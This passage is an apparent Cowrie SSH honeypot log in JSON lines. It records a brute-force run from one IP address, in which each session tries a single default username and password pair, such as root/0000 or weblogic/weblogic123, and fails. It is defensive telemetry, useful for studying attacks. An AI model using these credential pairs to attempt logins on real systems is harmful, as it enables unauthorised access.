{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:02.047489Z","src_ip":"192.109.200.237","session":"afd8acd2cbba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:02.301142Z","src_ip":"192.109.200.237","session":"afd8acd2cbba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:03.389516Z","src_ip":"192.109.200.237","session":"afd8acd2cbba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42108,"dst_ip":"159.203.135.109","dst_port":22,"session":"745b4c1c0c88","protocol":"ssh","message":"New connection: 192.109.200.237:42108 (159.203.135.109:22) [session: 745b4c1c0c88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:05.191691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:05.197515Z","src_ip":"192.109.200.237","session":"745b4c1c0c88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:05.281234Z","src_ip":"192.109.200.237","session":"745b4c1c0c88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:05.529276Z","src_ip":"192.109.200.237","session":"745b4c1c0c88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:06.619138Z","src_ip":"192.109.200.237","session":"745b4c1c0c88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42118,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfa50d5c8d77","protocol":"ssh","message":"New connection: 192.109.200.237:42118 (159.203.135.109:22) [session: bfa50d5c8d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:08.397948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:08.499392Z","src_ip":"192.109.200.237","session":"bfa50d5c8d77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:08.503206Z","src_ip":"192.109.200.237","session":"bfa50d5c8d77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"victor","password":"123456","message":"login attempt [victor/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:08.851344Z","src_ip":"192.109.200.237","session":"bfa50d5c8d77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:09.935900Z","src_ip":"192.109.200.237","session":"bfa50d5c8d77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42248,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e9aecae2bc1","protocol":"ssh","message":"New connection: 192.109.200.237:42248 (159.203.135.109:22) [session: 4e9aecae2bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:11.804946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:11.809810Z","src_ip":"192.109.200.237","session":"4e9aecae2bc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:11.891705Z","src_ip":"192.109.200.237","session":"4e9aecae2bc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:12.136753Z","src_ip":"192.109.200.237","session":"4e9aecae2bc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:13.221386Z","src_ip":"192.109.200.237","session":"4e9aecae2bc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42262,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2a90f238f53","protocol":"ssh","message":"New connection: 192.109.200.237:42262 (159.203.135.109:22) [session: d2a90f238f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:15.087539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:15.092965Z","src_ip":"192.109.200.237","session":"d2a90f238f53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:15.176013Z","src_ip":"192.109.200.237","session":"d2a90f238f53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:15.423191Z","src_ip":"192.109.200.237","session":"d2a90f238f53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:16.508622Z","src_ip":"192.109.200.237","session":"d2a90f238f53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42272,"dst_ip":"159.203.135.109","dst_port":22,"session":"67bc2feeb533","protocol":"ssh","message":"New connection: 192.109.200.237:42272 (159.203.135.109:22) [session: 67bc2feeb533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:18.393613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:18.399160Z","src_ip":"192.109.200.237","session":"67bc2feeb533","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:18.481502Z","src_ip":"192.109.200.237","session":"67bc2feeb533","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:18.731611Z","src_ip":"192.109.200.237","session":"67bc2feeb533","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:19.817290Z","src_ip":"192.109.200.237","session":"67bc2feeb533","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39506,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d045c7fe016","protocol":"ssh","message":"New connection: 192.109.200.237:39506 (159.203.135.109:22) [session: 7d045c7fe016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:21.551059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:21.555659Z","src_ip":"192.109.200.237","session":"7d045c7fe016","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:21.638844Z","src_ip":"192.109.200.237","session":"7d045c7fe016","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic123","message":"login attempt [weblogic/weblogic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:21.888498Z","src_ip":"192.109.200.237","session":"7d045c7fe016","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:22.992049Z","src_ip":"192.109.200.237","session":"7d045c7fe016","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39518,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a30f8a54c6c","protocol":"ssh","message":"New connection: 192.109.200.237:39518 (159.203.135.109:22) [session: 3a30f8a54c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:24.707884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:24.713309Z","src_ip":"192.109.200.237","session":"3a30f8a54c6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:24.795878Z","src_ip":"192.109.200.237","session":"3a30f8a54c6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456","message":"login attempt [root/AA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:25.214086Z","src_ip":"192.109.200.237","session":"3a30f8a54c6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:26.298671Z","src_ip":"192.109.200.237","session":"3a30f8a54c6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39528,"dst_ip":"159.203.135.109","dst_port":22,"session":"4203911c6f9b","protocol":"ssh","message":"New connection: 192.109.200.237:39528 (159.203.135.109:22) [session: 4203911c6f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:28.090647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:14:28.094032Z","src_ip":"192.109.200.237","session":"4203911c6f9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 